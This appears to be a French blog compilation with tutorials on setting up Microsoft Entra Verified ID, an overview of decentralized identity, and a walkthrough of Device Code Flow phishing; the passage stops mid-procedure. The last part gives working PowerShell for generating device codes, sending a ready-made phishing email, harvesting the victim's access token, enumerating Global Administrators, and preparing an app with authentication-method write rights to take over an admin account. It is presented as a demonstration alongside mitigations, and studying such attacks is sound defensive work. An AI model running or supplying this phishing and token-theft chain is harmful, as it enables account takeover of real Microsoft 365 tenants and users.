Téléchargez puis installez la version 6.0 de .NET, disponible via ce lien officiel :

Afin de publier votre application sur une URL internet, téléchargez ngrok, puis inscrivez-vous chez eux avec un compte gratuit :

Sur leur site, téléchargez l’installateur de ngrok :

Copiez la commande suivante affichée sous l’installateur pour configurer votre ngrok :

Depuis le dossier de téléchargement, ouvrez une invite de commande, puis lancez celle-ci afin de préparer votre configuration ngrok :

Le poste local et le tenant Microsoft sont maintenant correctement configurés, la prochaine étape consiste à créer une justificatif vérifiable personnalisé (pouvant générer des identités vérifiées) sur votre tenant.

Etape III – Création d’un justificatif vérifiable personnalisé :

Depuis le portail Microsoft Entra, cliquez ici pour ajouter un Justificatif vérifiable personnalisé :

Sélectionnez Informations d’identification personnalisée, puis cliquez sur Suivant :

Nommez votre Justificatif vérifiable comme ceci :

Dans la première section destinée aux propriétés d’affichage, remplacez le code existant par celui-ci :

{
    "locale": "en-US",
    "card": {
      "title": "Verified Credential Expert",
      "issuedBy": "Microsoft",
      "backgroundColor": "#000000",
      "textColor": "#ffffff",
      "logo": {
        "uri": "https://didcustomerplayground.blob.core.windows.net/public/VerifiedCredentialExpert_icon.png",
        "description": "Verified Credential Expert Logo"
      },
      "description": "Use your verified credential to prove to anyone that you know all about verifiable credentials."
    },
    "consent": {
      "title": "Do you want to get your Verified Credential?",
      "instructions": "Sign in with your account to get your card."
    },
    "claims": [
      {
        "claim": "vc.credentialSubject.firstName",
        "label": "First name",
        "type": "String"
      },
      {
        "claim": "vc.credentialSubject.lastName",
        "label": "Last name",
        "type": "String"
      }
    ]
}

Dans la seconde section destinée à la Définition de règles, remplacez le code existant par celui-ci, puis cliquez sur Créer :

{
  "attestations": {
    "idTokenHints": [
      {
        "mapping": [
          {
            "outputClaim": "firstName",
            "required": true,
            "inputClaim": "$.given_name",
            "indexed": false
          },
          {
            "outputClaim": "lastName",
            "required": true,
            "inputClaim": "$.family_name",
            "indexed": true
          }
        ],
        "required": false
      }
    ]
  },
  "validityInterval": 2592000,
  "vc": {
    "type": [
      "VerifiedCredentialExpert"
    ]
  }
}

Une fois la configuration terminée, une notification Microsoft Entra apparaît :

Le Justificatif vérifiable est maintenant créé. Ses informations de base sont disponibles sur cette page :

Copiez l’URL du manifeste afin de la configurer plus tard dans votre application :

Copiez votre DID afin de la configurer plus tard dans votre application :

Copiez votre tenant ID afin de la configurer plus tard dans votre application :

L’environnement côté Microsoft Entra est maintenant en place. Pour que notre application fonctionne, il est nécessaire renseigner les informations de connexion précédemment copiées.

Etape IV – Création de l’application :

Téléchargez l’archive ZIP de l’application de test disponible sur ce lien GitHub :

Une fois l’archive ZIP téléchargée, débloquez cette dernière par un clic droit sur celle-ci, puis cliquez sur OK :

Lancez l’extraction de l’archive dans le répertoire de votre choix :

Retournez sur le portail de Microsoft Entra ID afin de créer une nouvelle inscription d’application :

Nommez votre application comme ceci, configurez la pour fonctionner uniquement sur votre tenant, puis cliquez sur Enregistrer :

Cliquez sur le menu suivant afin d’ajouter des permissions à votre application :

Ajoutez la permission API suivante utilisée par votre organisation :

Sélectionnez cette permission API, puis cliquez sur Ajouter :

Ajoutez un consentement global de l’administrateur pour votre tenant :

Confirmez votre action en cliquant sur Oui :

Copiez l’ID de votre d’application afin de la configurer plus tard dans votre application :

Cliquez sur le menu suivant afin de créer un secret pour votre application :

Nommez votre secret, puis cliquez sur Ajouter :

Une fois créé, copiez la valeur de votre secret afin de la configurer plus tard dans votre application :

Ouvrez votre éditeur de code local :

Ouvrez le dossier correspondant au dossier contenant l’extraction de l’archive ZIP :

Confirmez votre confiance dans ce répertoire :

Dans le dossier 1.asp-net-core-api-idtokenhint, ouvrez le fichier appsettings.json, puis mettez à jour les propriétés suivantes avec les informations que vous avez copiées lors des étapes précédentes :

  • Manifeste des informations d’identification : l’URL de votre manifeste
  • ID de locataire : votre ID de votre tenant
  • ID client : votre ID de votre inscription d’application
  • Secret client : votre secret client de votre inscription d’application
  • DidAuthority : votre identificateur décentralisé

Retirez les 2 commentaires présents dans ce même fichier :

Sauvegardez le fichier appsettings.json :

Ouvrez une première fenêtre Windows Terminal, positionnez-vous dans le dossier contenant l’extraction de l’archive ZIP, puis saisissez la commande suivante :

dotnet build "AspNetCoreVerifiableCredentials.csproj" -c Debug -o .\bin\Debug\net6.

Une fois la compilation terminée, démarrez votre application via la commande suivante :

dotnet run

Une fois l’application démarrée, ouvrez une seconde fenêtre Windows Terminal, puis saisissez la commande suivante afin d’exposer votre application locale au travers de ngrok :

.\ngrok http 5000

Une fois votre application exposée, copiez l’URL générée par ngrok :

Tout l’environnement de test est maintenant en place, il nous reste qu’à tester le fonctionnement du service personnalisé d’identité vérifiée.

Etape V – Test d’émission d’une identité vérifiée :

Ouvrez un navigateur privé, collez l’URL ngrok précédemment copiée, puis confirmez la navigation en cliquant ici :

Votre application doit ressembler à ceci :

Cliquez ici afin d’obtenir une identité vérifiée :

Confirmez votre action en cliquant ici :

L’application génère alors un QR code pour stocker une identité vérifiée dans l’application Microsoft Authenticator de votre smartphone :

Sur votre smartphone, ouvrez Microsoft Authenticator, puis cliquez ici pour scanner le QR Code :

Saisissez le code de vérification visible sous le QR code de votre application, puis cliquez sur Suivant :

Confirmez l’ajout de votre identité vérifiée en cliquant sur Ajouter :

L’application confirme bien le stockage sur l’application Microsoft Authenticator de votre smartphone :

Sur votre smartphone, un clic sur votre identité vérifiée affiche les informations stockées dans cette dernière :

Une première activité correspondante à la réception de cette identité vérifiée est visible juste ici :

Cette nouvelle identité vérifiée rejoint les autres déjà en place dans Microsoft Authenticator :

La prochaine étape consiste à vérifier sa validité au travers de la seconde fonctionnalité de votre application.

Etape VI – Test de la vérification d’une identité vérifiée :

Retournez sur page principale de votre application, puis cliquez ici :

Cliquez ici pour confirmer votre action :

La vérification d’une identité vérifiée passe par le scan d’un QR code :

Ouvrez Microsoft Authenticator sur votre smartphone, puis utilisez la fonction suivante pour scanner le QR code généré par votre application :

Votre application vous indique que la vérification de l’identité vérifiée a bien fonctionné :

Conclusion

L’identité décentralisée promet de redonner le contrôle des données aux utilisateurs, en assurant une gestion sécurisée et privée des identités numériques :

  • Contrôle et Sécurité : Les utilisateurs gèrent leurs propres identifiants et données, réduisant les risques de violations et d’usurpation d’identité.
  • Confidentialité : Les données personnelles sont partagées uniquement avec consentement explicite, sans intermédiaires centralisés.
  • Interopérabilité : Utilisation de normes ouvertes (comme les DID et justificatifs vérifiables), permettant une intégration fluide avec divers systèmes.
  • Fiabilité : Justificatifs émis par des entités de confiance, validés de manière sécurisée et infalsifiable.

Entra Verified ID

Dans un monde où nos vies numériques et physiques sont inextricablement liées, la sécurité des identités est primordiale. Les violations de données et l’usurpation d’identité sont des menaces croissantes.

Pour contrer cela, Microsoft s’intègre dans l’idée d’une solution innovante d’identité décentralisée qui donne aux utilisateurs le contrôle de leurs informations, éliminant la dépendance aux autorités centralisées et aux intermédiaires. Voici d’ailleurs ici quelques notions présentées par Microsoft.

Et voilà les différents points abordés dans cet article :

Pourquoi imaginer des identités décentralisées ?

Notre identité numérique est utilisée partout, souvent sans notre consentement éclairé. Actuellement, nos données sont contrôlées par des tiers, ce qui présente des risques de sécurité. Une identité décentralisée permet aux utilisateurs de contrôler et sécuriser leurs informations personnelles :

Microsoft travaille-t-il seul dans son coin ?

La réponse est bien évidemment non 🙏

Microsoft collabore activement avec les membres de la DIF (Decentralized Identity Foundation), du W3C Credentials Community Group et de la communauté plus étendue en lien avec l’identité. Nous avons travaillé avec ces groupes pour identifier et développer des normes critiques, et les normes suivantes ont été implémentées dans nos services.

Microsoft Learn

Qu’est-ce que sont les identificateurs décentralisés (DID) ?

Les DID sont des identifiants uniques créés et contrôlés par les utilisateurs, résistants à la censure et immuables. Ils permettent de prouver des informations sans dépendre de systèmes centralisés :

Qu’est-ce qu’un justificatif vérifiable ?

Les justificatifs vérifiables sont des attestations numériques signées par des entités de confiance. Ils fonctionnent comme des preuves de diplômes, permis ou autres certifications, mais sous une forme numérique sécurisée.

L’application France Identité en est d’ailleurs un bonne exemple puis qu’elle permet le stockage des nouvelles cartes d’identité française ou le permis de conduire :

Comment fonctionne l’identité décentralisée ?

Nous avons besoin d’une nouvelle forme d’identité. Nous avons besoin d’une identité capable de réunir des technologies et des normes pour fournir des attributs d’identité clés tels que l’indépendance et la résistance à la censure. Ces fonctionnalités sont difficiles à obtenir à l’aide des systèmes existants.

Pour y parvenir, il nous faut nous appuyer sur une base technique composée de sept innovations clés. Les identificateurs détenus par l’utilisateur constituent l’une de ces innovations clés, un agent utilisateur pour gérer les clés associées à ces identificateurs et les magasins de données chiffrés et contrôlés par l’utilisateur.

1. Identificateurs décentralisés (DID) W3C. ID créés, détenus et contrôlés par les utilisateurs indépendamment de toute organisation ou de tout gouvernement. Les DID sont des identificateurs globaux uniques liés à des métadonnées DPKI (Decentralized Public Key Infrastructure) composés de documents JSON contenant des éléments de clé publique, des descripteurs d’authentification et des points de terminaison de service.

2. Système d’approbation. Pour pouvoir résoudre les documents DID, les DID sont généralement enregistrés sur un réseau sous-jacent d’un type qui représente un système d’approbation. Microsoft prend actuellement en charge le système d’approbation DID :Web. DID:Web est un modèle basé sur des autorisations qui autorise l’approbation à l’aide de la réputation existante d’un domaine web. DID:Web est dans l’état de pris en charge Disponibilité générale.

3. Agent utilisateur/Portefeuille DID : application Microsoft Authenticator. Permet aux personnes réelles d’utiliser des identités décentralisées et des justificatifs vérifiables. Authenticator crée des DID, facilite les demandes d’émission et de présentation de justificatifs vérifiables, et gère la sauvegarde de la valeur initiale de la requête dans un fichier portefeuille chiffré.

4. Outil de résolution Microsoft. API qui recherche et résout les DID à l’aide de la méthode did:web et retourne le DDO (DID Document Object). Le DDO comprend les métadonnées DPKI associées au DID telles que les clés publiques et les points de terminaison de service.

5. Service Vérification d’identité Microsoft Entra. Service d’émission et de vérification dans Azure et API REST pour Justificatifs vérifiables W3C signés avec la méthode did:web. Ils permettent aux propriétaires d’identité de générer, présenter et vérifier les revendications. Ils constituent la base de confiance entre les utilisateurs des systèmes.

Microsoft Learn

Comment puis-je facilement tester les identités vérifiées ?

Par cet exercice d’identité vérifiée proposé par Microsoft, le processus devrait vous paraître plus concret. Voici l’explication du contexte de cet démonstration

  • Woodgrove est une société privée.
  • Proseware, une société qui offre des remises aux employés de Woodgrove.
  • Alice, une employée de Woodgrove souhaite obtenir une remise tarifaire sur les produits Proseware

Voici les différentes étapes de cet exercice :

  • Etape 1 : Obtention d’une identité vérifiée en relation avec une identité physique
  • Etape 2 : Utilisation de l’identité vérifié pour accéder aux ressources d’entreprise
  • Etape 3 : Utilisation de l’identité vérifié pour accéder aux ressources tierces

Si vous ne souhaitez pas faire cet exercice par vous-même, j’ai retrouvé une vidéo retraçant les différentes étapes :

Le seul prérequis nécessaire pour réaliser cet exercice est de disposer de Microsoft Authenticator sur son smartphone.

Pour réaliser cet exercice, rendez-vous sur cette page, renseignez des informations fictives, puis cliquez sur Suivant :

Cliquez-ici pour obtenir une identité vérifiée :

Cliquez-ici pour prendre une photographie fictive :

Cliquez-ici pour téléverser une copie d’une identité gouvernementale fictive :

Cliquez sur Suivant :

Attendez quelques secondes, puis cliquez sur OK :

Votre identité fictive a bien généré une identité vérifiée que nous allons maintenant récupérer :

Pour cela, ouvrez Microsoft Authenticator sur votre smartphone afin de scanner le QR code généré pour cette identité vérifiée :

La page web s’actualise et vous demande de reproduire le code PIN sur votre Smartphone :

Cliquez sur Suivant :

Cliquez sur Ajouter :

La page web s’actualise pour vous confirmer le succès de la récupération de l’identité vérifiée sur votre application Microsoft Authenticator, et vous invite ensuite à retourner sur la page principale :

L’étape 2 est automatiquement validée par le fait de disposer cette identité vérifiée sur votre application Microsoft Authenticator :

L’identité vérifiée s’intègre dans la liste des identités vérifiées sauvegardées, cliquez sur celle-ci :

Constatez les informations Entra ID stockées dans cette identité vérifiée :

Un autre onglet affiche l’historique des actions associées à cette identité vérifiée :

Toujours sur le portail web, cliquez-ici pour utiliser cette identité vérifiée pour vous authentifier sur portail employé de votre entreprise :

Scanner le QR code suivant afin d’autoriser le partage de votre identité vérifiée avec votre entreprise Woodgrove :

Utilisez la fonction suivante pour scanner le QR code généré :

Le site web est maintenant en attente de l’acceptation du partage d’informations de votre identité vérifiée :

Choisissez l’identité vérifiée à partager avec l’entreprise Woodgrove, puis confirmez le partage en cliquant ici :

Le site web de votre entreprise Woodgrove s’actualise et vous invite maintenant à continuer pour accéder au portail employé :

Une nouvelle activité liée à Woodgrove s’ajoute sur votre identité vérifiée :

Retournez sur le portail employé de votre entreprise Woodgrove afin de tester la validité de votre identité vérifiée par ce lien :

Un nouvel onglet s’ouvre à destination d’un site de vente fictif appelé Proseware :

Afin de profiter de rabais intéressant, une identification entreprise est nécessaire chez Proseware. Pour cela, cliquez sur le bouton suivant pour accéder aux prix remisés :

Cliquez sur le choix suivant afin d’utiliser votre nouvelle identité vérifiée :

Comme votre identité vérifiée est stockée sur votre application Microsoft Authenticator, un QR code est généré par Proseware afin de partager des informations d’identification :

Ouvrez Microsoft Authenticator sur votre smartphone, puis utilisez la fonction suivant pour scanner le QR code généré par Proseware :

Le site web de Proseware est maintenant en attente de l’acceptation du partage d’informations de votre identité vérifiée :

Choisissez l’identité vérifiée à partager avec Proseware, puis confirmez le partage en cliquant ici :

Le site web de Proseware s’actualise et affiche maintenant des tarifs remisés selon votre identité vérifiée :

Une nouvelle activité Proseware s’ajoute sur votre identité vérifiée :

Quelques informations supplémentaires sur ce partage sont disponibles :

Peut-on mettre en place les identités vérifiées sur Entra ID ?

Oui, il est possible de mettre en place les identités vérifiées sur Microsoft Entra ID. Voici quelques étapes clés pour commencer :

  1. Configurer votre locataire Microsoft Entra : Vous devez d’abord configurer votre locataire pour la vérification d’identité.
  2. Créer des informations d’identification vérifiables : Utilisez le portail Microsoft Entra pour créer et émettre des informations d’identification personnalisées.
  3. Utiliser des outils et des exemples de code : Microsoft fournit des exemples de code et des guides pour vous aider à émettre et vérifier des informations d’identification vérifiables.

Pour cela, rendez-vous sur la page suivante d’Entra ID afin de démarrer le processus de mise en route d’Entra Verified ID.

Deux options de mise en place s’offrent alors à vous :

Pour notre démonstration, choisissez la configuration rapide :

Si votre tenant contient plusieurs domaines personnalisés, choisissez celui que vous souhaitez mettre en place pour ce service d’identité vérifiée, puis cliquez sur Sauvegarder :

La configuration sur votre tenant se met alors en place, Entra vous invite à patienter environ 1 minute :

Une fois la configuration automatique terminée, la notification suivante apparaît :

Retournez sur cette même page afin de constater l’apparition de nouveaux menus, ainsi que l’apparition d’un rendu graphique de l’identité vérifiée générée sur votre tenant :

Cliquez-ici afin de contrôler qui sur votre tenant peut obtenir une identité vérifiée :

Par défaut, tous les utilisateurs de votre tenant peuvent obtenir une identité vérifié. Cette option reste modifiable via ces 2 champs :

Retournez sur la page précédente afin d’obtenir une identité vérifiée sur votre compte Entra actuel :

Ce lien ouvre un nouvel onglet vers la page Mon Compte :

Cliquez-ici pour obtenir votre identité vérifiée :

Un QR code est alors généré et valable pendant 5 minutes :

Sur votre smartphone, ouvrez l’application Microsoft Authenticator, puis rendez-vous dans le menu suivant afin de scanner le QR Code :

L’identité vérifiée associée au QR code est reconnue, Microsoft Authenticator vous propose de l’ajouter à votre portefeuille d’identités vérifiées :

Cette dernière s’intègre alors dans la liste des identités vérifiées déjà sauvegardées :

Cliquez dessus afin de constater les informations Entra ID stockées dans cette identité vérifiée :

Ces informations ont été rendues accessibles par le biais de la configuration de l’identité vérifiée de votre tenant :

Toujours sur l’application Microsoft Authenticator, un autre onglet affiche l’historique des actions associées à cette identité vérifiée :

Retournez sur le portail Entra ID afin de tester la validité de votre identité vérifiée par ce lien :

Un nouvel onglet s’ouvre à destination d’un site de vente fictif appelé Proseware :

Afin de profiter de rabais intéressant, une identification est nécessaire chez Proseware. Pour cela, cliquez sur le bouton suivant pour accéder aux prix remisés :

Cliquez sur le choix suivant afin d’utiliser votre nouvelle identité vérifiée :

Comme votre identité vérifiée est stockée sur votre application Microsoft Authenticator, un QR code est généré par Proseware afin de partager des informations d’identification :

Ouvrez Microsoft Authenticator sur votre smartphone, puis utilisez la fonction suivant pour scanner le QR code généré par Proseware :

Le site web de Proseware est maintenant en attente de l’acceptation du partage d’informations de votre identité vérifiée :

Confirmez le partage en cliquant ici :

Le site web de Proseware s’actualise et affiche maintenant des tarifs remisés selon votre identité vérifiée :

Une nouvelle activité Proseware s’ajoute sur votre identité vérifiée :

Quelques informations supplémentaires sur ce partage sont disponibles :

Enfin, une fonction de révocation est même disponible via la page de configuration d’Entra ID :

Et il semble également possible de retirer le service déjà configuré d’identités vérifiées sur un tenant :

Conclusion

L’identité décentralisée promet de redonner le contrôle des données aux utilisateurs, en assurant une gestion sécurisée et privée des identités numériques :

  • Contrôle et Sécurité : Les utilisateurs gèrent leurs propres identifiants et données, réduisant les risques de violations et d’usurpation d’identité.
  • Confidentialité : Les données personnelles sont partagées uniquement avec consentement explicite, sans intermédiaires centralisés.
  • Interopérabilité : Utilisation de normes ouvertes (comme les DID et justificatifs vérifiables), permettant une intégration fluide avec divers systèmes.
  • Fiabilité : Justificatifs émis par des entités de confiance, validés de manière sécurisée et infalsifiable.

Gérez le Device Code flow

Type d’authentification du protocole OAuth 2.0, le Device Code Flow est spécifiquement conçu pour les appareils sans navigateur ou avec une méthode de saisie restreinte, comme les téléviseurs, les consoles de jeux ou encore les appareils IoT. Cette méthode d’identification est déjà très répandue au travers des plateformes de streaming audio ou vidéo. Mais quid de sa sécurité ?

Qu’est-ce que le Device Code Flow ?

Le principal avantage du Device Code Flow est de proposer une méthode d’authentification « conviviale » pour des périphériques à saisie restreinte. On peut découper le processus d’authentification du device code flow dans les étapes suivantes :

  1. Demande d’un code de dispositif:
    • L’appareil (par exemple, une télévision) envoie une demande à l’API d’autorisation du service (par exemple, un serveur OAuth).
    • En réponse, il reçoit un code de dispositif et une URL d’authentification.
  2. Affichage du code et de l’URL à l’utilisateur:
    • L’appareil affiche le code de dispositif et l’URL d’authentification à l’utilisateur.
    • Par exemple, « Veuillez visiter https://example.com/device et entrer le code suivant: ABC123″.
  3. Utilisateur autorise l’appareil:
    • L’utilisateur utilise un appareil avec un navigateur (par exemple, un smartphone ou un ordinateur) pour visiter l’URL fournie.
    • L’utilisateur entre le code de dispositif affiché sur l’appareil et s’authentifie (par exemple, via un login et un mot de passe).
  4. Appareil poll l’API d’autorisation:
    • Pendant que l’utilisateur s’authentifie, l’appareil envoie régulièrement des requêtes (polling) à l’API d’autorisation pour vérifier si l’utilisateur a terminé le processus d’autorisation.
    • Si l’utilisateur autorise l’accès, l’API renvoie un jeton d’accès à l’appareil.
  5. Accès accordé:
    • L’appareil peut maintenant utiliser le jeton d’accès pour accéder aux ressources protégées au nom de l’utilisateur.
Action ou flux d’authentificationNécessiteJeton d’IDAccess token (Jeton d’accès)Jeton d’actualisationCode d’autorisation.
Flux du code d’autorisationLe flux d’authentification fonctionne pour le jeton d’IDLe flux d’authentification fonctionne pour le jeton d’accèsLe flux d’authentification fonctionne pour le jeton d’actualisationLe code d’autorisation fonctionne
Informations d’identification du clientLe flux d’authentification fonctionne pour le jeton d’accès (application uniquement)
Flux de code d’appareilLe flux d’authentification fonctionne pour le jeton d’IDLe flux d’authentification fonctionne pour le jeton d’accèsLe flux d’authentification fonctionne pour le jeton d’actualisation
Flux impliciteLe flux d’authentification fonctionne pour le jeton d’IDLe flux d’authentification fonctionne pour le jeton d’accès
Flux On-Behalf-Ofaccess tokenLe flux d’authentification fonctionne pour le jeton d’IDLe flux d’authentification fonctionne pour le jeton d’accèsLe flux d’authentification fonctionne pour le jeton d’actualisation
Nom d’utilisateur/mot de passe (ROPC)nom d’utilisateur, mot de passeLe flux d’authentification fonctionne pour le jeton d’IDLe flux d’authentification fonctionne pour le jeton d’accèsLe flux d’authentification fonctionne pour le jeton d’actualisation
Circuit OIDC hybrideLe flux d’authentification fonctionne pour le jeton d’IDLe code d’autorisation fonctionne
Échange de jetons d’actualisationjeton d’actualisationLe flux d’authentification fonctionne pour le jeton d’IDLe flux d’authentification fonctionne pour le jeton d’accèsLe flux d’authentification fonctionne pour le jeton d’actualisation

Pourquoi alors se passer du Device Code Flow si pratique ?

Disons-le tout de suite, Microsoft est très clair quant à la sécurité d’Entra ID uniquement basée sur un Device code flow :

Le flux de code d’appareil est un flux d’authentification à haut risque qui peut être utilisé dans le cadre d’une attaque par hameçonnage ou pour accéder aux ressources de l’entreprise sur des appareils non gérés. 

Microsoft Learn

Merci à Seyfallah pour son explication très claire sur les risques :

Mais pourquoi alors proposer quelque chose de risqué ?

Comme dit plus haut, certains scénarios spécifiques sont plus facilement gérables via Device Code Flow. D’ailleurs, tous les principaux cmdlets PowerShell, les outils AZ et de nombreux autres prennent en charge ce flux d’authentification depuis déjà un bon moment.

Vous pouvez configurer le contrôle de flux de code de l’appareil avec d’autres contrôles dans vos stratégies d’accès conditionnel. Par exemple, si le flux de codes d’appareils est utilisé pour les appareils Android utilisés dans les salles de conférence, vous pouvez choisir de bloquer le flux de codes d’appareils partout, sauf pour les appareils Android situés dans un emplacement spécifique du réseau.

Microsoft Learn

Mais le principal risque pour la méthode d’authentification via Device Code Flow reste le Phishing ou hameçonnage. Les attaquants peuvent tenter de créer de fausses pages ou emails de phishing :

Et l’arrivée massive de l’IA n’a fait qu’accroitre le risque des attaques basées sur l’ingénierie sociale. Les utilisateurs peuvent être facilement manipulés pour valider des devices code flows à leur insu.

Mais comment peut-on y remédier ?

Bien que la première méthode sécuritaire doive être construite autour de l’éducation des utilisateurs, des pratiques de sécurité rigoureuses et une surveillance continue peuvent aider à atténuer ces risques et à protéger les utilisateurs contre ces attaques :

Entra ID propose depuis peu et encore en préversion, la gestion de polices d’accès conditionnels proposant justement de bloquer les Device code flow selon certains usages :

Pour vous faire une meilleure idée, je vous propose de réaliser ensemble un petit exercice sur le Device code Flow et son impact :

Important : Cet exercice n’est reflète pas une attaque dans son intégralité, mais démontre quelques points intéressants dans le cadre d’une prise de contrôle d’un administrateur global.

Etape 0 – Rappel des prérequis :

Pour réaliser cet exercice, il vous faudra disposer de :

  • Deux tenants Microsoft
  • Plusieurs adresses emails pour une première campagne d’hameçonnage

Commençons par l’hameçonnage d’utilisateurs 365 lambda afin de récupérer l’accès à la messagerie 365.

Etape I – Préparation du premier hameçonnage :

Une campagne d’hameçonnage réussie et reposant sur de l’ingénierie sociale doit faire l’objet d’un travail poussé afin d’augmenter ses chances de succès.

Dans mon cas, je suis passé par ChatGPT pour rédiger rapidement un email d’hameçonnage destiné à mes utilisateurs lambda :

ChatGPT m’a alors généré en quelques secondes le texte de mon email au format HTML :

<!DOCTYPE html>
<html>
<head>
    <title>Mise à jour du système de gestion des notes de frais</title>
</head>
<body style="font-family: Arial, sans-serif; line-height: 1.6; color: #333;">
    <h1 style="color: #1a73e8;">🔔 Important : Refonte du Système de Gestion des Notes de Frais 🔔</h1>
    <p>Bonjour [Nom du destinataire],</p>
    <p>Nous avons le plaisir de vous informer que notre système de gestion des notes de frais a été entièrement refondu pour améliorer votre expérience et simplifier le processus de soumission et de suivi de vos dépenses professionnelles.</p>
    <p>Pour accéder à ce nouveau système, veuillez-vous inscrire en utilisant le lien ci-dessous et le code à usage unique fourni :</p>
    <p>
        <a href="https://www.fakewebsite.com/register" style="color: #1a73e8; text-decoration: none; font-weight: bold;">Inscription au nouveau système de gestion des notes de frais</a>
    </p>
    <p>Votre code à usage unique : <strong style="font-size: 1.2em; color: #d32f2f;">UNIQUECODE12345</strong></p>
    <p><strong>Ce code est valable seulement 15 minutes.</strong></p>
    <p>Nous vous remercions de procéder à votre inscription dans les plus brefs délais afin de bénéficier des nouvelles fonctionnalités et améliorations apportées à notre système.</p>
    <p>Avec nos meilleures salutations,<br>[Votre nom]<br>[Votre titre]<br>[Nom de votre entreprise]</p>
</body>
</html>

Il ne me reste qu’à y remplacer l’URL et le Device Code Flow.

Pour cela, et depuis mon poste, j’exécute le script PowerShell suivant afin de générer un Device Code Flow destiné à l’application officielle Microsoft Office :

$ClientID = "d3590ed6-52b3-4102-aeff-aad2292ab01c"
$Scope = ".default offline_access"
$body = @{
"client_id" = $ClientID 
"scope" = $Scope
}

$authResponse = Invoke-RestMethod -UseBasicParsing -Method Post -Uri "https://login.microsoftonline.com/common/oauth2/v2.0/devicecode" -Body $body 
Write-output $authResponse

Attention ici, le code généré n’est valable que 15 minutes, mais des méthodes d’automatisation de l’hameçonnage sont facilement réalisable.

J’intègre mon corps d’email modifié et toutes les informations SMTP nécessaires (modifiées) à ma première campagne d’hameçonnage :

# SMTP : Serveur
$SMTPServer = "smtp.office365.com"

# SMTP : Port
$SMTPPort = 587

# SMTP : Expéditeur
$SMTPSender = "jlou07@jloudev.onmicrosoft.com"

# E-mail : objet
$EmailSubject = "🔔 Important : Refonte du Système de Gestion des Notes de Frais 🔔"
# E-mail : corps

# Contenu de l'email en HTML
$emailBody = @"
<!DOCTYPE html>
<html>
<head>
    <title>Mise à jour du système de gestion des notes de frais</title>
</head>
<body style="font-family: Arial, sans-serif; line-height: 1.6; color: #333;">
    <h1 style="color: #1a73e8;">🔔 Important : Refonte du Système de Gestion des Notes de Frais 🔔</h1>
    <p>Bonjour [Nom du destinataire],</p>
    <p>Nous avons le plaisir de vous informer que notre système de gestion des notes de frais a été entièrement refondu pour améliorer votre expérience et simplifier le processus de soumission et de suivi de vos dépenses professionnelles.</p>
    <p>Pour accéder à ce nouveau système, veuillez-vous inscrire en utilisant le lien ci-dessous et le code à usage unique fourni :</p>
    <p>
        <a href="https://microsoft.com/devicelogin" style="color: #1a73e8; text-decoration: none; font-weight: bold;">Inscription au nouveau système de gestion des notes de frais</a>
    </p>
    <p>Votre code à usage unique : <strong style="font-size: 1.2em; color: #d32f2f;">LS9475723</strong></p>
    <p><strong>Ce code est valable seulement 15 minutes.</strong></p>
    <p>Nous vous remercions de procéder à votre inscription dans les plus brefs délais afin de bénéficier des nouvelles fonctionnalités et améliorations apportées à notre système.</p>
    <p>Avec nos meilleures salutations,<br>[Votre nom]<br>[Votre titre]<br>[Nom de votre entreprise]</p>
</body>
</html>
"@

# SMTP : Destinataire(s)
$SMTPRecipient = "teacher1@tdcheduc.onmicrosoft.com"

$SMTPRecipientList = @()
$SMTPRecipientList += @{
      EmailAddress = @{
         Address = $SMTPRecipient
   }
}

Je charge toutes ces informations dans les propriétés du message :

$EmailProperties = @{
   ToRecipients = $SMTPRecipientList
   Subject = $EmailSubject
   Body = @{
      ContentType = "HTML"
      Content = $EmailBody
   }
}

J’envoie les emails d’hameçonnage à mes cibles :

Send-MgUserMail -UserId $SMTPSender -Message $EmailProperties

Quelques secondes plus tard, l’email apparaît en boite de réception :

Bien évidemment, une campagne d’hameçonnage repose toujours sur une volume important d’emails, comparé aux faibles chances de clics des utilisateurs.

Etape II – Récupération du premier token :

Admettons un instant qu’un utilisateur 365 lambda se fasse berner et clique sur le lien en pensant que ce dernier est légitime. Ce dernier est invité à recopier le code indiqué dans l’email d’hameçonnage :

Etant déjà authentifié, il ne lui reste qu’à choisir son compte 365 :

Pensant toujours l’action légitime, l’utilisateur clique sur Continuer :

Entra ID lui informe alors que le processus d’authentification est terminé :

De notre côté, nous pouvons alors continuer nos opérations puisque l’authentification s’est bien déroulé :

$GrandType = "urn:ietf:params:oauth:grant-type:device_code"
$body = @{
"client_id" = $ClientID 
"grant_type" = $GrandType
"code" = $authResponse.device_code
}

La commande suivante nous permet de contrôler la présence de l’Access Token comme attendu :

$Tokens = Invoke-RestMethod -UseBasicParsing -Method Post -Uri "https://login.microsoftonline.com/common/oauth2/v2.0/token" -Body $body -ErrorAction SilentlyContinue
$Tokens
$graphApiToken  = $Tokens.access_token

Une connexion à MgGraph via ce même Access Token est alors possible :

Connect-MgGraph -AccessToken ($graphApiToken |ConvertTo-SecureString -AsPlainText -Force)

La commande suivante nous permet alors de situer l’utilisateur et les droits obtenus grâce l’Access Token récupéré auprès de l’application Microsoft Office :

(Get-MgContext).Scopes

Parmi les autorisations obtenues figure justement le droit d’envoyer des emails :

Nous sommes maintenant à l’intérieur d’un environnement Entra ID avec déjà quelques autorisations. Afin de réussir l’objectif de réinitialiser le mot de passe d’un compte Administrateur Global, nous allons avoir besoin de plus de droits que ceux déjà obtenus.

Etape III – Préparation du second hameçonnage :

La plus rapide est de cibler tous les comptes Entra ID ayant le rôle d’Administrateur Global. Bien souvent, d’autres personnes non IT (gérants, actionnaires, …) ont également ce rôle critique malgré les risques que cela comporte.

Depuis l’accès obtenu via mon utilisateur lambda, la commande PowerShell suivante me permet de récupérer des informations sur les comptes Administrateur Global du tenant :

$memberList = [System.Collections.Generic.List[string]]::new()
$roleId = (Get-MgDirectoryRole -Filter "DisplayName eq 'Global Administrator'").Id
$userList = Get-MgDirectoryRoleMember -DirectoryRoleId $roleId

foreach ($user in $userList) {
    $upn = (Get-MgUser -UserId $user.id).UserPrincipalName
    $GivenName = (Get-MgUser -UserId $user.id).GivenName
    $memberList.Add($upn)
    $memberList.Add($GivenName)
}

$memberList

Une fois ma nouvelle liste de cibles établie, je peux créer une seconde campagne d’hameçonnage interne.

Avant besoin de plus de droits que ceux octroyés par l’application Microsoft Office, je décide de créer une nouvelle application sur un autre tenant dont je suis le propriétaire :

Je nomme mon application selon le contexte voulu et j’active la fonction multi-tenant :

Depuis l’onglet Authentification, je clique sur le menu suivant :

Je clique sur le type de plate-forme suivant :

Je coche et rajoute les URIs suivantes :

J’active également la fonction suivante, puis je clique sur Sauvegarder :

Depuis le menu Permissions API, je rajoute une permission API par le bouton suivant :

Je choisi alors Microsoft Graph :

Je sélectionne Permissions déléguées :

Je recherche la permissions suivante, puis je clique sur Ajouter :

UserAuthenticationMethod.ReadWrite.All

